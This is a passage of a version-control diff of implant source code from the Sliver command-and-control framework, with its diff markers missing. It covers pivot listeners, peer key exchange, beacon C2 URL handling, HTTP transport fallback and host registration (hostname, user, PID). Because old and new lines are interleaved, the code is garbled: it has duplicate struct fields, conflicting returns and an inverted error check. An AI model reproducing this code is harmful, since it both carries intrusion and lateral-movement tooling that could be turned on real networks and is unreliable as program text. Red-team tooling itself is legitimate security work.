err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to find next peer id: %s", err)
log.Printf("Failed to unmarshal downstream envelope: %s", err)
// {{end}}
return false, err
return false
}
// NOTE: Yes linear search is bad, but there should be a very small
// number of listeners and pivots so it should be fine
sent := false // Controls iteration of outer loop
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
if ok {
pivot := pivotConn.(*NetConnPivot)
pivot.Downstream <- envelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
if pivot.ID() == peerEnvelope.PivotID {
pivot.Downstream <- downstreamEnvelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return true // keep iterating inner loop
})
return !sent // keep iterating while not sent
})
// {{if .Config.Debug}}
if !sent {
// {{if .Config.Debug}}
log.Printf("Failed to find peer with id %d", nextPeerID)
// {{end}}
return false, errors.New("peer not found")
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
}
return sent, nil
}
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
for index, peer := range pivotPeerEnvelope.Peers {
if peer.PeerID == MyPeerID {
if 0 <= index-1 {
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
}
}
}
return int64(0), errors.New("next peer not found")
// {{end}}
return sent
}
// PivotListener - A pivot listener
type PivotListener struct {
ID uint32
Type pb.PivotType
Listener net.Listener
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
ID uint32
Type pb.PivotType
Listener net.Listener
Pivots *sync.Map // ID -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
}
// ToProtobuf - Get the protobuf version of the pivot listener
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
pivotPeers := []*pb.NetConnPivot{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
pivotPeers := []*pb.PivotPeer{}
l.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
return true
@@ -228,47 +156,23 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
}
}
// Start - Start the pivot listener
func (p *PivotListener) Start() {
for {
conn, err := p.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] accept error: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: pivotReadDeadline,
writeDeadline: pivotWriteDeadline,
upstream: p.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(p.PivotConnections)
}
}
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
l.Listener.Close() // Stop accepting new connections
// Close all existing connections
connectionIDs := []int64{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
connectionIDs = append(connectionIDs, key.(int64))
// Close all peer connections before closing listener
l.Pivots.Range(func(key interface{}, value interface{}) bool {
value.(*NetConnPivot).Close()
return true
})
for _, id := range connectionIDs {
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
if ok {
pivotConn.(*NetConnPivot).Close()
}
l.Pivots = nil
l.Listener.Close()
}
// PivotClose - Close a pivot connection
func (l *PivotListener) PivotClose(id int64) {
if p, ok := l.Pivots.Load(id); ok {
l.Pivots.Delete(id)
p.(*NetConnPivot).Close()
}
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
}
// ListenerID - Generate a new pivot id
@@ -277,50 +181,55 @@ func ListenerID() uint32 {
return listenerID
}
// PivotID - Generate a new pivot id
func PivotID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivot - A generic pivot connection to a peer via net.Conn
type NetConnPivot struct {
downstreamPeerID int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
id int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
upstream chan<- *pb.Envelope
Downstream chan *pb.Envelope
}
// DownstreamPeerID - ID of peer pivot
func (p *NetConnPivot) DownstreamPeerID() int64 {
return p.downstreamPeerID
// ID - ID of peer pivot
func (p *NetConnPivot) ID() int64 {
return p.id
}
// ToProtobuf - Protobuf of pivot peer
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
return &pb.NetConnPivot{
PeerID: p.downstreamPeerID,
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
return &pb.PivotPeer{
ID: p.id,
RemoteAddress: p.RemoteAddress(),
}
}
// Start - Starts the TCP pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
}()
defer p.conn.Close()
err := p.peerKeyExchange()
if err != nil {
return
}
// {{if .Config.Debug}}
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
log.Printf("[pivot] peer key exchange completed successfully")
// {{end}}
// We don't want to register the peer prior to the key exchange
// Add & remove self from listener pivots map
pivots.Store(p.DownstreamPeerID(), p)
defer pivots.Delete(p.DownstreamPeerID())
pivots.Store(p.ID(), p)
defer pivots.Delete(p.ID())
go func() {
defer close(p.Downstream)
@@ -337,30 +246,22 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
Type: pb.MsgPivotPeerPing,
Data: envelope.Data,
}
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
// {{end}}
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
// {{end}}
continue
}
// Append ourselves to the list of peers, and then upstream
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
PeerID: MyPeerID,
Name: consts.SliverName,
envelopeData, _ := proto.Marshal(envelope)
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
PeerID: PeerID, // This proccess' Peer ID
PivotID: p.ID(), // The Pivot connection ID
Name: consts.SliverName,
Data: envelopeData,
})
envelope.Data, _ = proto.Marshal(peerEnvelope)
p.upstream <- envelope
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
// {{end}}
continue
p.upstream <- &pb.Envelope{
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
Type: pb.MsgPivotPeerEnvelope,
Data: data,
}
}
}
}()
@@ -368,15 +269,6 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
for envelope := range p.Downstream {
err := p.writeEnvelope(envelope)
if err != nil {
if p.downstreamPeerID != 0 {
p.upstream <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: mustMarshal(&pb.PivotPeerFailure{
Type: pb.PeerFailureType_DISCONNECT,
PeerID: p.downstreamPeerID,
}),
}
}
return
}
}
@@ -409,7 +301,6 @@ func (p *NetConnPivot) peerKeyExchange() error {
// {{end}}
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
@@ -570,8 +461,3 @@ func (p *NetConnPivot) RemoteAddress() string {
func (p *NetConnPivot) Close() error {
return p.conn.Close()
}
func mustMarshal(msg proto.Message) []byte {
data, _ := proto.Marshal(msg)
return data
}
+2 -2
View File
@@ -24,6 +24,6 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
}
+3 -3
View File
@@ -22,7 +22,7 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
}
+33 -8
View File
@@ -35,8 +35,8 @@ var (
tcpPivotWriteDeadline = 10 * time.Second
)
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartTCPPivotListener - Start a TCP listener
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
@@ -48,12 +48,37 @@ func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivo
return nil, err
}
pivotListener := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: address,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: address,
Upstream: upstream,
}
go tcpPivotAcceptNewConnections(pivotListener)
return pivotListener, nil
}
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener stopping: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
}
}
@@ -127,26 +127,6 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
return err
}
// DeleteKey removes an existing key or value.
// Removing a value takes precident over removing a key.
// If neither exists, an error is returned.
func DeleteKey(hostname string, hive string, path string, key string) error {
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not open key %s: %s\n", path, err.Error())
// {{end}}
return err
}
err = k.DeleteValue(key)
if err != nil {
err = registry.DeleteKey(*k, key)
}
return err
}
// ListSubKeys returns all the subkeys for the provided path
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
+21 -25
View File
@@ -52,7 +52,6 @@ import (
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/version"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -81,10 +80,11 @@ var (
func init() {
buf := make([]byte, 8)
n, err := rand.Read(buf)
if err != nil || n != len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
seed := uint64(time.Now().Unix())
if err == nil && n == len(buf) {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
insecureRand.Seed(int64(seed))
id, err := uuid.NewV4()
if err != nil {
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// {{end}}
nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL
register.ActiveC2 = beacon.URL()
register.ProxyURL = beacon.ProxyURL()
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
ID: InstanceID,
Interval: beacon.Interval(),
@@ -527,10 +527,7 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
connectionErrors = 0
// Reconnect active pivots
// pivots.ReconnectActivePivots(connection)
@@ -592,8 +589,6 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] tunHandler %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if envelope.Type == sliverpb.MsgCloseSession {
return nil
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
@@ -623,7 +618,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
}
}
// registerSliver - Creates a registration protobuf message
// registerSliver - Creates a registartion protobuf message
func registerSliver() *sliverpb.Register {
hostname, err := os.Hostname()
if err != nil {
@@ -665,19 +660,20 @@ func registerSliver() *sliverpb.Register {
// {{end}}
return &sliverpb.Register{
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
// ActiveC2: transports.GetActiveC2(),
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
// ProxyURL: transports.GetProxyURL(),
ConfigID: "{{ .Config.ID }}",
}
}
+19 -8
View File
@@ -80,8 +80,24 @@ type Beacon struct {
Close BeaconClose
Cleanup BeaconCleanup
ActiveC2 string
ProxyURL string
url *url.URL
proxyURL *url.URL
}
// URL - Returns the c2 URL of the beacon
func (b *Beacon) URL() string {
if b.url == nil {
return ""
}
return b.url.String()
}
// ProxyURL - Returns the c2 URL of the beacon
func (b *Beacon) ProxyURL() string {
if b.proxyURL == nil {
return ""
}
return b.url.String()
}
// Interval - Interval between beacons
@@ -199,7 +215,6 @@ func mtlsBeacon(uri *url.URL) *Beacon {
var conn *tls.Conn
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -247,7 +262,6 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -303,11 +317,9 @@ func httpBeacon(uri *url.URL) *Beacon {
var client *httpclient.SliverHTTPClient
var err error
opts := httpclient.ParseHTTPOptions(uri)
beacon := &Beacon{
ActiveC2: uri.String(),
ProxyURL: opts.ProxyConfig,
Init: func() error {
opts := httpclient.ParseHTTPOptions(uri)
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
if err != nil {
// {{if .Config.Debug}}
@@ -344,7 +356,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
@@ -66,7 +66,6 @@ type HTTPOptions struct {
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
ProxyConfig string
ProxyUsername string
@@ -96,7 +95,6 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -107,17 +105,11 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
return client, nil
}
}
if err != nil || opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err := client.SessionInit()
if err != nil {
// If we're using default ports then switch to 80
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
@@ -21,57 +21,30 @@ package pivotclients
import (
"net/url"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var (
defaultNamedPipeDeadline = time.Second * 10
)
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
if err != nil {
readDeadline = defaultNamedPipeDeadline
}
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
if err != nil {
writeDeadline = defaultNamedPipeDeadline
}
return &NamedPipePivotOptions{
ReadDeadline: readDeadline,
WriteDeadline: writeDeadline,
}
}
// NamedPipePivotOptions - Options for the NamedPipe pivot
type NamedPipePivotOptions struct {
Timeout time.Duration
ReadDeadline time.Duration
WriteDeadline time.Duration
}
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
opts := &NamedPipePivotOptions{}
if readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline")); err == nil {
opts.ReadDeadline = readDeadline
} else {
// {{if .Config.Debug}}
if uri.Query().Get("read-deadline") != "" {
log.Printf("failed to parse read-deadline: %s", err)
}
// {{end}}
opts.ReadDeadline = defaultNamedPipeDeadline
}
if writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline")); err == nil {
opts.WriteDeadline = writeDeadline
} else {
// {{if .Config.Debug}}
if uri.Query().Get("write-deadline") != "" {
log.Printf("failed to parse write-deadline: %s", err)
}
// {{end}}
opts.WriteDeadline = defaultNamedPipeDeadline
}
if timeout, err := time.ParseDuration(uri.Query().Get("timeout")); err == nil {
opts.Timeout = timeout
} else {
// {{if .Config.Debug}}
if uri.Query().Get("timeout") != "" {
log.Printf("failed to parse timeout: %s", err)
}
// {{end}}
opts.Timeout = defaultNamedPipeDeadline
}
return opts
}
@@ -34,16 +34,14 @@ import (
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
address := "\\\\" + uri.Hostname() + strings.Replace(uri.Path, "/", "\\", -1)
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
// {{if .Config.Debug}}
log.Printf("Pivot named pipe address: %s", address)
log.Printf("Options: %+v", opts)
log.Print("Pivot named pipe address: ", address)
// {{end}}
conn, err := winio.DialPipe(address, nil)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to connect to named pipe: %s", err)
// {{end}}
return nil, err
}
@@ -55,11 +53,17 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
readDeadline: opts.ReadDeadline,
writeDeadline: opts.WriteDeadline,
}
err = pivot.KeyExchange()
err = pivot.peerKeyExchange()
if err != nil {
conn.Close()
return nil, err
}
err = pivot.serverKeyExchange()
if err != nil {
conn.Close()
return nil, err
}
return pivot, nil
}
@@ -20,6 +20,7 @@ package pivotclients
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
@@ -31,16 +32,26 @@ import (
"log"
// {{end}}
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/implant/sliver/pivots"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
// NetConnPivotClient - A generic net.Conn pivot client
var (
OriginID = originID() // The origin's PeerID
)
// originID - Random origin identifier
func originID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivotClient - A TCP pivot client
type NetConnPivotClient struct {
originID int64
pivotSessionID []byte
conn net.Conn
readMutex *sync.Mutex
@@ -81,7 +92,6 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
}
pivotHello, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKey,
PeerID: pivots.MyPeerID,
PublicKeySignature: cryptography.ECCPublicKeySignature,
})
@@ -121,33 +131,26 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
}
func (p *NetConnPivotClient) serverKeyExchange() error {
p.originID = OriginID
serverSessionKey := cryptography.RandomKey()
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
if err != nil {
return err
}
pivotServerKeyExchangeData, _ := proto.Marshal(&pb.PivotServerKeyExchange{
OriginID: pivots.MyPeerID,
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
OriginID: p.originID,
SessionKey: ciphertext,
})
peerEnvelopeData, _ := proto.Marshal(&pb.PivotPeerEnvelope{
Peers: []*pb.PivotPeer{
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
},
Type: pb.MsgPivotServerKeyExchange,
Data: pivotServerKeyExchangeData,
})
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelopeData,
Type: pb.MsgPivotServerKeyExchange,
Data: pivotServerKeyExchange,
})
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", pivots.MyPeerID)
log.Printf("[pivot] Sending server key exchange ...")
// {{end}}
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
@@ -164,33 +167,23 @@ func (p *NetConnPivotClient) serverKeyExchange() error {
// a different read deadline here as this has to go round trip to the server if the
// upstream implant uses a slow protocol it may take a while to go there and back again
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
serverKeyExRespEnvelope, err := p.ReadEnvelope()
serverKeyExchangeResp, err := p.ReadEnvelope()
p.conn.SetReadDeadline(time.Time{})
if err != nil {
return err
}
if serverKeyExRespEnvelope.Type != pb.MsgPivotServerKeyExchange {
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
// {{if .Config.Debug}}
log.Printf("[pivot] Unexpected message type: %v", serverKeyExRespEnvelope.Type)
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
// {{end}}
return errors.New("server key exchange failure")
}
serverKeyExResp := &pb.PivotServerKeyExchange{}
err = proto.Unmarshal(serverKeyExRespEnvelope.Data, serverKeyExResp)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error un-marshaling server key exchange response: %v", err)
// {{end}}
return err
}
// Just make sure we can parse the bytes
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExResp.SessionKey).Bytes()
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
// {{if .Config.Debug}}
log.Printf("[pivot] Pivot session ID: %s",
uuid.FromBytesOrNil(p.pivotSessionID).String(),
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
)
// {{end}}
@@ -281,9 +274,9 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
return err
}
var peerPlaintext []byte
// Do not wrap pivot messages since we're not the origin
if envelope.Type != pb.MsgPivotPeerPing && envelope.Type != pb.MsgPivotPeerEnvelope {
if envelope.Type != pb.MsgPivotPeerPing {
// Prepend the message with the pivot session ID
// note this can only be done after the server key change
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
if err != nil {
// {{if .Config.Debug}}
@@ -291,27 +284,15 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
// {{end}}
return err
}
peerData, err := proto.Marshal(&pb.PivotPeerEnvelope{
Type: pb.MsgPivotSessionEnvelope,
Peers: []*pb.PivotPeer{
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
},
PivotSessionID: p.pivotSessionID,
Data: ciphertext,
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Marshaling peer error: %s", err)
// {{end}}
return err
}
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
copy(msgBuf, p.pivotSessionID)
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerData,
Type: pb.MsgPivotOriginEnvelope,
Data: msgBuf,
})
} else {
// Pivot pings and existing peer envelopes are not encrypted with the sever key
// Pivot pings are not encrypted with the sever key
peerPlaintext = plaintext
}
@@ -341,46 +322,24 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
incomingEnvelope := &pb.Envelope{}
err = proto.Unmarshal(data, incomingEnvelope)
peerEnvelope := &pb.Envelope{}
err = proto.Unmarshal(data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
// {{end}}
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Received incoming envelope: %+v", incomingEnvelope)
// {{end}}
// The only msg type that isn't encrypted by the server should be pivot pings
if incomingEnvelope.Type == pb.MsgPivotPeerPing {
return incomingEnvelope, nil
if peerEnvelope.Type == pb.MsgPivotPeerPing {
return peerEnvelope, nil
}
if incomingEnvelope.Type != pb.MsgPivotPeerEnvelope {
return nil, errors.New("invalid message type")
}
peerEnvelope := &pb.PivotPeerEnvelope{}
err = proto.Unmarshal(incomingEnvelope.Data, peerEnvelope)
if err != nil {
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal peer envelope: %v", err)
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
// {{end}}
return nil, err
}
if len(peerEnvelope.Peers) < 1 {
// {{if .Config.Debug}}
log.Printf("[pivot] Empty peer list")
// {{end}}
return nil, errors.New("empty peer list")
}
// If we're not the origin this peer envelope is not for us
if peerEnvelope.Peers[0].PeerID != pivots.MyPeerID {
return incomingEnvelope, nil
}
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
if err != nil {
// {{if .Config.Debug}}
@@ -390,7 +349,13 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal envelope: %v", err)
// {{end}}
return nil, err
}
return envelope, nil
}
// CloseSession - Close the TCP pivot session
+9 -9
View File
@@ -237,7 +237,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
// *** Named Pipe ***
// {{if .Config.NamePipec2Enabled}}
connection, err = namedPipeConnect(uri)
if err != nil {
if err == nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Connection failed %s", err)
// {{end}}
@@ -717,7 +717,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] lost connection, cleanup...")
log.Printf("[tcp-pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
@@ -728,7 +728,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
connection.Stop = func() error {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] Stop()")
log.Printf("[tcp-pivot] Stop()")
// {{end}}
connection.Cleanup()
return nil
@@ -762,7 +762,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp pivot] server ping...")
log.Printf("[tcp-pivot] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
@@ -781,7 +781,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] send loop envelope type %d\n", envelope.Type)
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
// {{end}}
pivot.WriteEnvelope(envelope)
}
@@ -796,26 +796,26 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] read envelope error: %s", err)
log.Printf("[tcp-pivot] read envelope error: %s", err)
// {{end}}
continue
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] read nil envelope")
log.Printf("[tcp-pivot] read nil envelope")
// {{end}}
continue
}
if envelope.Type == pb.MsgPivotPeerPing {
// {{if .Config.Debug}}
log.Printf("[tcp pivot] received peer pong")
log.Printf("[tcp-pivot] received peer pong")
// {{end}}
continue
}
